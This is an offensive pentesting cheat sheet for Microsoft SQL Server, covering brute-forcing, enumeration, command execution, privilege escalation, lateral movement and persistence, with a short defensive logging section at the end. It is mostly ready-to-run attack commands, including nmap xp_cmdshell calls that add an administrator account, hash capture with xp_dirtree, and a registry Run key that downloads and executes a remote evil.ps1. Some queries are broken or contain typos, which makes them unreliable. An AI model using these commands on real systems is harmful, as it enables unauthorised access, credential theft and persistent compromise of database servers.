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Databases - SqlServer

Quick Reference

  • Brute-forcing: hydra -l sa –P /path/to/rockyou.txt mssql
  • Nmap Enumeration:
    nmap –script "ms-sql and not ms-sql-brute" "–script-args=mssql.username=sa,mssql.password=password,ms-sql-config.showall=true,ms-sql-tables.maxdb=0,ms-sql-tables.maxtables=0,ms-sql-xp-cmdshell.cmd=ipconfig /all" -d -oN mssql.nmap -Pn -v -sV –version-intensity 9 -T2 -p T:27900,U:1434
    nmap -sV -T2 -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=poiuytrewq,ms-sql-xp-cmdshell.cmd="net user walter P@ssWORD1234 /add"
    nmap -sV -T2 -Pn -n -sS –script=ms-sql-xp-cmdshell.nse -p1433 –script-args mssql.username=sa,mssql.password=poiuytrewq,ms-sql-xp-cmdshell.cmd="net localgroup administrators walter /add"
    nmap -v -sV –version-intensity 9 -T2 -p T:27900,U:1433 –script ms-sql-query –script-args mssql.username=sa,mssql.password=password,mssql.database=bankdb,ms-sql-query.query="SELECT * FROM tblCustomers"
    nmap -p 1433 --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER $ip
  • Capture hash: Run responder and do: xp_dirtree "\\\test"
  • List all databases
    EXEC sp_databases;
    select * from sysobjects where xtype = 'U';
  • Connect from Linux: sqsh -S someserver -U sa -P poiuytrewq -D bankdb
  • Special Schemas: INFORMATION_SCHEMA sys
  • DB Structure:
    SELECT name FROM master.dbo.sysdatabases
  • SQL Injection Tips:
    • Commenting: --
    • Important functions
      • xp_dirtree - undocumented MSSQL stored procedure that allows for interaction with local and remote filesystems
    • Time based injection
      ' if (select user) = 'sa' waitfor delay '0:0:5'--
      ' if (select user) != 'sa' waitfor delay '0:0:5'--
      WAITFOR DELAY '0:0:5'
    • Check support for stacked queries: -1" AND 1=2; WAITFOR DELAY '0:0:5'; -- "


  • SQSH
    • Accessing and Hacking MSSQL from Backtrack Linux
    • Installation:
      apt-get install sqsh freetds-bin freetds-common freetds-dev
      • Edit /etc/freetds/freetds.conf, and append:
        host =
        port = 1433
        tds version = 8.0
      • Optionally edit ~/.sqshrc:
        \set username=sa
        \set password=password
        \set style=vert
    • Run:
      sqsh -S MyServer
      sqsh -S {system name/IP}:{port num} -U {username} -P {password}
    • List of available databases with:
      SELECT name FROM master..sysdatabases
    • Build from source:
      $export SYBASE=/usr/local/freetds
      $ ./configure
      $ make
      $ su
      # make install
      # ls -l /usr/local/bin/sqsh
      # ls -l /usr/local/bin/sqsh.bin

Roles and Permissions


Principals are entities that can request SQL Server resources.

SQL Server-level principals:

  • SQL Server authentication Login
    • sa
      • Created when instance is installed
      • Default database is master
      • Member of sysadmin database role
    • public
      • Every login belongs to the this role
  • Windows authentication login for a Windows user
  • Windows authentication login for a Windows group
  • Azure Active Directory authentication login for a AD user
  • Azure Active Directory authentication login for a AD group
  • Server Role

Database-level principals:

  • Database User (There are 11 types of users. For more information, see CREATE USER.)
    • dbo
      • Created for each database
      • Has all permissions in the database
      • Owns dbo schema (dbo schema is the default schema for all users, and cannot be dropped)
    • guest
      • Permissions granted are inherited by users who have access to the database, but who do not have a user account in the database.
      • Cannot be dropped
      • Can be disabled by revoking it's CONNECT permission (REVOKE CONNECT FROM GUEST;)
  • Database Role
  • Application Role

Server-Level Roles and Permissions

Fixed Roles

  • sysadmin - Can perform any activity in the server.
  • serveradmin - Can change server-wide configuration options and shut down the server.
  • securityadmin
    • Manage logins and their properties.
    • Can GRANT, DENY, and REVOKE server-level permissions.
    • Can also GRANT, DENY, and REVOKE database-level permissions if they have access to a database.
    • Can reset passwords for SQL Server logins.
    • Should be treated as equivalent to the sysadmin role.
  • processadmin - Can end processes that are running in an instance of SQL Server.
  • setupadmin - Can add and remove linked servers by using Transact-SQL statements (sysadmin membership is needed when using Management Studio.)
  • bulkadmin - Can run the BULK INSERT statement.
  • diskadmin - Used for managing disk files.
  • dbcreator - Can create, alter, drop, and restore any database.
  • public
    • Every SQL Server login belongs to the public server role.
    • When a server principal has not been granted or denied specific permissions on a securable object, the user inherits the permissions granted to public on that object.
    • Only assign public permissions on any object when you want the object to be available to all users.
    • You cannot change membership in public.
    • Public is implemented differently than other roles, and permissions can be granted, denied, or revoked from the public fixed server roles.

Fixed Roles and Permissions

Server level roles and permissions

Working with Server-Level Roles

Database Level Roles and Permissions


Fixed Roles

  • db_owner
    • Can perform all configuration and maintenance activities on the database.
    • Can drop the database in SQL Server.
    • (In SQL Database and SQL Data Warehouse, some maintenance activities require server-level permissions and cannot be performed by db_owners)
  • db_securityadmin
    • Can modify role membership and manage permissions.
    • Adding principals to this role could enable unintended privilege escalation.
  • db_accessadmin
    • Can add or remove access to the database for Windows logins, Windows groups, and SQL Server logins.
  • db_backupoperator - Can back up the database.
  • db_ddladmin - Can run any Data Definition Language (DDL) command.
  • db_datawriter - Can add, delete, or change data in all user tables.
  • db_datareader - Can read all data from all user tables.
  • db_denydatawriter - Cannot add, modify, or delete any data in the user tables within a database.
  • db_denydatareader - Cannot read any data in the user tables within a database.

Fixed Roles and Permissions

Database level roles and permissions

Special Roles for SQL Database and SQL Data Warehouse

  • Exist only in the virtual master database.
  • Permissions are restricted to actions performed in master.
  • Only database users in master can be added to these roles.
  • Logins cannot be added to these roles, but users can be created based on logins and then those users can be added to the roles. Contained database users in master, can also be added to these roles.
  • dbmanager
    • Can create and delete databases.
    • A member of the dbmanager role that creates a database, becomes the owner of that databasee which allows that user to connect to that database as the dbo user.
    • The dbo user has all database permissions in the database.
    • Members of the dbmanager role do not necessarily have permission to access databases that they do not own.
  • loginmanager - Can create and delete logins in the virtual master database.

Special Roles for msdb Database

  • db_ssisadmin db_ssisoperator db_ssisltduser
    • Can administer and use SSIS.
    • Instances of SQL Server that are upgraded from an earlier version might contain an older version of the role that was named using Data Transformation Services (DTS) instead of SSIS.
    • db_ssisadmin - may be able to elevate their privileges to sysadmin [1]
  • dc_admin dc_operator dc_proxy - Can administer and use the data collector.
    • dc_admin may be able to elevate their privileges to sysadmin. [1]
  • PolicyAdministratorRole
    • Can perform all configuration and maintenance activities on Policy-Based Management policies and conditions.
  • ServerGroupAdministratorRole ServerGroupReaderRole - Can administer and use registered server groups.
  • dbm_monitor
    • Created in the msdb database when the first database is registered in Database Mirroring Monitor.
    • Has no members until a system administrator assigns users to the role.

[1] These roles can modify Integration Services packages and Integration Services packages can be executed by SQL Server using the sysadmin security context of SQL Server Agent. To guard against this elevation of privilege when running maintenance plans, data collection sets, and other Integration Services packages, configure SQL Server Agent jobs that run packages to use a proxy account with limited privileges or only add sysadmin members to the db_ssisadmin and dc_admin roles.

Special Roles for R Services

  • rpkgs-users - Allows using any shared packages that were installed by members of the rpkgs-shared role.
  • rpkgs-private
    • Provides access to shared packages with the same permissions as the rpkgs-users role.
    • Members of this role can also install, remove and use privately scoped packages.
  • rpkgs-shared
    • Provides the same permissions as the rpkgs-private role.
    • Users who are members of this role can also install or remove shared packages.

Working with Database-Level Roles

Application Roles

  • Enable access to specific data to only those users who connect through a particular application.
  • Enabled by using sp_setapprole


  • Direct Access
    • SQLPS module
    • SQL Server Management Modules (SMO)
    • .NET (System.Data.SQL / System.Data.SQLClient)
  • Modules
  • Discovery
    • PowerUpSQL: Get-SQLInstanceScanUDP -ComputerName -verbose
    • .NET (UDP Broadcast): [System.Data.Sql.SqlDataSourceEnumeration]::Instance.GetDataSources()
  • Local Enumeration
  • Domain Enumeration
    • Search AD user attribute: servicePrincipalName=MSSQL*
      Import-Module -Name PowerUpSQL
      Get-SQLInstanceDomain -verbose
  • Looking for interesting databases
    Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password pw -Instance instance -verbose | select -ExpandProperty DatabaseName
    Get-SQLDatabaseThreaded -Threads 10 -Username sa -Password pw -Instance instance | Where-Object {$_.is_encrypted -eq True"}
    Get-SQLColumnSampleDataThreaded -Threads 10 -Keywords "password, credit" -SampleSize 5 -ValidateCC -NoDefaults -Username sa -Password pw -Instance instance -Verbose


  • Version: SELECT @@version
  • Current Role: SELECT IS_SRVROLEMEMBER('sysadmin') SELECT user
  • Current Database: SELECT db_name()
  • List All Databases: SELECT name FROM master..sysdatabases
  • List All Logins: SELECT - FROM sys.server_principals WHERE type_desc != 'SERVER_ROLE'
  • List All Users for Database: SELECT - FROM sys.database_principals WHERE type_desc != 'DATABASE_ROLE'
  • List All Sysadmins: SELECT name,type_desc,is_disabled FROM sys.server_principals WHERE IS_SRVROLEMEMBER ('sysadmin',name) = 1
  • List All Roles:
    SELECT AS DatabaseRoleName, isnull (, 'No members') AS DatabaseUserName
    FROM sys.database_role_members AS DRM
    RIGHT OUTER JOIN sys.database_principals AS DP1 ON DRM.role_principal_id = DP1.principal_id
    LEFT OUTER JOIN sys.database_principals AS DP2 ON DRM.member_principal_id = DP2.principal_id
    WHERE DP1.type = 'R' ORDER BY;
  • Effective Permissions for Server: SELECT - FROM fn_my_permissions(NULL, 'SERVER');
  • Effective Permissions for Database: SELECT - FROM fn_my_permissions(NULL, 'DATABASE');
  • Active User Tokens: SELECT - FROM sys.user_token
  • Active Login Tokens: SELECT - FROM sys.login_token
  • Impersonatable Accounts:
    SELECT distinct FROM sys.server_permissions a
    INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
    WHERE a.permission_name = 'IMPERSONATE'
  • Find Trustworthy Databases:
    SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY
    from sys.databases
  • Read file:
    CREATE TABLE mydata (line varchar(8000));
    BULK INSERT mydata FROM 'c:\windows\win.ini';
    SELECT line FROM mydata;


  • Check if current domain user has access to DB
    Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Check if another domain user has access to DB
    runas /noprofile /netonly /user:<domain\username>powershell.exe
    Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
  • Fuzzing logins:
    Get-SQLFuzzServerLogin -Instance ops-mssql Verbose
    -- Above is equivalent to:
  • BruteForce:
    Get-SQLInstanceDomain | G)et-SQLConnectionTestThreaded -Username sa -Password Password -Verbose
    $comps = $(Get-SQLInstanceDomain).ComputerName
    comps | Invoke-BruteForce -UserList C:\dict\users.txt -PasswordList C:\dict\passwords.txt -Service SQL Verbose

Command Execution


  • Disabled by default since SQL Server 2005
  • Executed with the privileges of SQL Server service account
  • Synchronous
  • sysadmin privileges are required
  • If uninstalled: sp_addextendedproc 'xp_cmdshell','xplog70.dll'
  • Execute command:
    • EXEC master..xp_cmdshell 'whoami'
    • xp_cmdshell powershell iex(New-Object System.Net.WebClient).DownloadString(\"\")
  • Enable xp_cmdshell: has enable_xp_cmdshell
    exec sp_configure 'show advanced options', 1
    exec sp_configure 'xp_cmdshell', 1
  • Disable xp_cmdshell
    exec sp_configure 'show advanced options', '1'
    exec sp_configure 'xp_cmdshell', '0'
  • Grant permissions to xp_cmdshell - Let's say we have a user that is not a sysadmin, but is a user of the master database and we nt to grant access to run xp_cmdshell:
    -- add user test to the master database
    USE [master]
    CREATE USER [test] FOR LOGIN [test]
    -- grant execute access to xp_cmdshell
    GRANT EXEC ON xp_cmdshell TO [test]
  • Nishang: Execute-Command-MSSQL -ComputerName instance -UserName sa -Password pw
  • PowerUpSQL: Invoke-SQLOSCmd -Username sa -Password pw -Instance instance -Command whoami

Custom Extended Stored Procedures

Custom CLR Assemblies

  • CLR (Common Language Runtime) is a run-time environment provided by the .NET framework
  • SQL Server CLR integration allows writing stored procedures and other things by importing a DLL.
  • CLR integration is off by default
  • sysadmin privileges are required by-default.
  • Create assembly, alter assembly or DDL_Admin role can also use it.
  • Execution takes place with privileges of the service account
  • DLL can be loaded from a local path or a UNC path
  • References
  • Enable CLR:
    use msdb
    -- Enable show advanced options on the server
    sp_configure 'show advanced options',1
    -- Enable clr on the server
    sp_configure 'clr enabled',1
  • Create DLL:
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /target:library C:\Users\labuser\Desktop\cmd_exec.cs
    Create-SQLFileCLRDll -ProcedureName "runcmd" -OutFile runcmd -OutDir C:\Users\labuser\Desktop
  • Import the assembly from file:
    CREATE ASSEMBLY my_assembly FROM '\\\fileserver\cmd_exec.dll' WITH PERMISSION_SET = UNSAFE;
  • Import the assembly from string:
  • Link the assembly to a stored procedure
    CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR (4000) AS EXTERNAL NAME [my_assembly].[StoredProcedures].[cmd_exec];
  • Execution:
    cmd_exec 'whoami'
    Invoke-SQLOSCmdCLR -Username sa -Password pw -Instance instance -Command "whoami" -Verbose
  • Cleanup:
    DROP PROCEDURE cmd_exec
    DROP ASSEMBLY my_assembly
  • List all CLR assemblies:
    Get-SQLStoredProcedureCLR -Instance instance -Verbose

OLE Automation Procedure

  • Disabled by default
  • sysadmin privileges are required by-default.
  • Execution takes place with privileges of the service account
  • Execute privileges on sp_OACreate and sp_OAMethod can also be used for execution.
  • References:
  • Enabling:
    sp_configure 'show advanced options', 1;
    sp_configure 'Ole Automation Procedures', 1;
  • Execute:
    DECLARE @output INT
    DECLARE @ProgramToRun VARCHAR(255)
    SET @ProgramToRun = 'Run("calc.exe")'
    EXEC sp_oacreate 'wScript.Shell', @output out
    EXEC sp_oamethod @output, @ProgramToRun
    EXEC sp_oadestroy @output
    Invoke-SQLOSCmdCLR -Username sa -Password pw -Instance instance -Command "whoami" -Verbose
  • Example: Sets SecurityDescriptor of ftp.exe to everyone:
      -- Declare variables used to reference the objects
      DECLARE @objLocator int,@objWmi int,@objPermiss int,@objFull int;
      -- Create a WbemScripting.SWbemLocator object
      EXEC sp_OACreate 'WbemScripting.SWbemLocator',@objLocator OUTPUT;
      -- Use the SWbemLocator object's ConnectServer() method to connect to the
      -- local WMI server. The connection will be to the 'root\cimv2' namespace
      EXEC sp_OAMethod @objLocator,
      'ConnectServer',@objWmi OUTPUT,'.','root\cimv2';
      -- Retrieve an SWbemObject that represents the requested object
      -- In this case, a Win32_LogicalFileSecuritySetting object for 'ftp.exe'
      EXEC sp_OAMethod @objWmi,
      'Get',@objPermiss OUTPUT,
      -- Create an empty SecurityDescriptor
      EXEC sp_OAMethod @objWmi,'Get',@objFull
      -- Set the SecurityDescriptor's ControlFlags property to
      -- '4' (SE_DACL_PRESENT)
      EXEC sp_OASetProperty @objFull,'ControlFlags',4;
      -- Set the file security setting object's security descriptor to the
      -- SecurityDescriptor object
      EXEC sp_OAMethod @objPermiss,'SetSecurityDescriptor',NULL,@objFull;

Agent Jobs (CmdExec, PowerShell, ActiveX etc.)

  • Job can be scheduled, executed in response to alerts or by using sp_start_job stored procedure
  • Needs sysadmin role to create a job.
  • Non-sysadmin users with the SQLAgentUserRole, SQLAgentReaderRole, and SQLAgentOperatorRole fixed database roles in the msdb database can also be used.
  • The execution takes place with privileges of the SQL Server Agent service account if a proxy account is not configured.
  • References:
  • Steps
    • xp_startservice - Start the SQL Server Agent service
    • sp_add_job - Create Job
    • sp_add_jobstep - Add job step
    • sp_start_job - Run Job
    • sp_delete_job - Delete Job
  • Listing all Jobs**
    job.job_id, notify_level_email, name, enabled,
    description, step_name, command, server, database_name
    msdb.dbo.sysjobs job
    msdb.dbo.sysjobsteps steps
    job.job_id = steps.job_id
  • Interesting subsystems (job types):
    • PowerShell
      USE msdb
      EXEC dbo.sp_add_job @job_name = N'PSJob'
      EXEC sp_add_jobstep @job_name = N'PSJob', @step_name =
      N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -noexit ps', @retry_attempts = 1, @retry_interval = 5
      EXEC dbo.sp_add_jobserver @job_name = N'PSJob'
      EXEC dbo.sp_start_job N'PSJob'
      -- EXEC dbo.sp_delete_job @job_name = N'PSJob'
    • CmdExec
      USE msdb
      EXEC dbo.sp_add_job @job_name = N'cmdjob'
      EXEC sp_add_jobstep @job_name = N'cmdjob', @step_name = N'test_cmd_name1', @subsystem = N'cmdexec', @command = N'cmd.exe /k calc', @retry_attempts = 1, @retry_interval = 5
      EXEC dbo.sp_add_jobserver @job_name = N'cmdjob'
      EXEC dbo.sp_start_job N'cmdjob';
      -- EXEC dbo.sp_delete_job @job_name = N'cmdJob'
    • Microsoft ActiveX Script (VBScript and Jscript)
    • SSIS (SQL Server Integrated Services)
  • PowerUpSQL
    Invoke-SQLOSCmdAgentJob Subsystem PowerShell -Username
    sa -Password pw -Instance instance -Command
    "powershell -e <base64encodedscript>" -Verbose
    -Subsystem CmdExec
    -ubsystem VBScript
    -Subsystem Jscript
    Get-SQLAgentJob -Instance instance -username sa -Password pw -Verboe]se

External Scripting

Registry Autoruns

File Autoruns

Privilege Escalation

Find Impersonatable Accounts

SELECT distinct
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
Invoke-SQLAuditPrivImpersonateLogin -Username un -Password pw -Instance dbname -Verbose

Execute As

EXECUTE AS LOGIN = 'dbadmin'

EXECUTE AS LOGIN = 'dbadmin'


Trustworthy Databases

  • is_trustworthy_off by default (Only a sysadmin can change).
  • When off impersonated users will only have database-scope permissions.
  • When on impersonated users can perform actions with server level permissions.
  • Allows writing procedures that can execute code with server level permission.
  • If is_trustworthy_on and if a sysadmin (not necessarily sa) is owner of the database, it is possible for the database owner (a user with db_owner) to elevate privileges to sysadmin.

Discover Trustworthy Databases

SELECT name as database_name, SUSER_NAME(owner_sid) AS database_owner, is_trustworthy_on AS TRUSTWORTHY 
from sys.databases
Invoke-SQLAudit -Instance instance-name -Verbose | Out-GridView
Invoke-SQLAuditPrivTrustworthy -Instance instance-name -Verbose


  • Add sysadmin to myuser:
    EXECUTE AS USER = 'dbo'
    SELECT system_user
    EXEC sp_addsrvrolemember '\myuser','sysadmin'

Public to Service Account

UNC Path Injection

Invoke-SQLUncPathInjection -Verbose -CaptureIp

Service Account to System

Rotten Potato

Extracting service account credentials from LSA Secrets and/or memory

Token Impersonation for the SQL Server service

Single user mode

Lateral Movement

Domain User accounts

  • SQL server allows Domain user logins (it a part of the domain trust)
  • Once domain user access is present, enumerate privileges it has on SQL servers in the domain
  • After gaining shell access to the user (command execution) following can be done:
    • Check if current user has access to SQL Servers in domain: Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose
    • For alternative credentials: runas /noprofile /netonly /user:<domain\username> powershell.exe
    • A user with public access can be used to enumerate domain accounts and groups in the forest and other trusted forests: Get-SQLFuzzDomainAccount -Instance instance -StartId 500 -EndId 2000 -Verbose
  • If local admin rights are present, dump credentials.
  • References:
  • Allows a SQL Server to access external data sources (SQL Servers, OLE DB)
  • If SQL Servers are linked:
    • Can execute stored procedures
    • Work across SQL server versions and forests
  • References:
  • Search for linked databases: select - from master..sysservers Get-SQLServerLink -Instance instance -Verbose
  • Run queries on linked databases: select - from openquery("instance",'select - frommaster..sysservers')
  • Run queries on chain of linked databases:
    select - from openquery("inatance1",'select - from openquery("instance2",''select - from master..sysservers'')')
    Get-SQLServerLinkCrawl -Instance instance1 -Verbose
  • If rpcout is enabled for all links (disabled by default), xp_cmdshell can be enabled using:
    EXECUTE('sp_configure ''xp_cmdshell'',1;reconfigure;') AT "instance2")
  • Command execution with linked databases:
    select - from openquery("instance1",'select - from
    openquery("instance2",''select - from openquery("instance3",''''select @@version as version;exec master..xp_cmdshell "cmd /c calc.exe"'''')'')')
    Get-SQLServerLinkCrawl -Instance instance1 -Query "exec master..xp_cmdshell 'cmd /c calc.exe'"-Verbose
  • Decrypting Database Link Server Passwords:


Startup stored procedures


Data Definition Language (DDL) Triggers

Data Manipulation Language (DML) Triggers

Logon Triggers

  • Ideal for triggering with a logon failure of a low-privilege user.
  • References:
  • List all Triggers
    SELECT - FROM sys.server_triggers
    Get-SQLTriggerDdl -Instance instance -username sa -Password pw -Verbose

Registry keys


  • Needs sysadmin
EXEC xp_regwrite
@rootkey = 'HKEY_LOCAL_MACHINE',
@key = 'Software\Microsoft\Windows\CurrentVersion\Run',
@value_name = 'SQLServerUpdate',
@type = 'REG_SZ',
@value = 'powershell -w 1 -NoP -NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")'
Get-SQLPersistRegDebugger -Instance instance -username sa -Password pw -FileName utilman.exe -Command 'c:\windows\system32\cmd.exe' -Verbose
Get-SQLPersistRegRun -Instance instance -username sa -Password pw -Name SQLUpdate -Command 'powershell -w 1 -NoP -NoL iex(New-Object Net.WebClient).DownloadString("http://webserver/evil.ps1")' -Verbose


  • Limited read for public role
  • References:
  • Read auto-login password:
    Get-SQLRecoverPwAutoLogon -Instance instance -username sa -Password pw -Verbose



  • Audit links, trusts, privileges and credentials.
  • Service Accounts for databases should not be high privilege domain account.
  • Known dangerous Stored Procedures are disabled.
  • Use audit features to log interesting events.
  • Monitor the logs (Management Studio -> Management -> SQL Server Logs)
  • Error log @ Program-Files\Microsoft SQL Server\MSSQL.1MSSQL\LOG\ERRORLOG
  • Logs are also written to Windows Application logs with MSSQLSERVER as source.
  • Good password policy.
  • Not using same username across databases.
  • Logon failures are logged by default (source MSSQLSERVER).
Event ID Description
18456 Authentication failures
5084 Setting TRUSTWORTHY to on/off
17135 Launch of startup stored procedures
33090 Successful DLL loading
17750 Failed DLL loading
15457 Using sp_configure (command execution)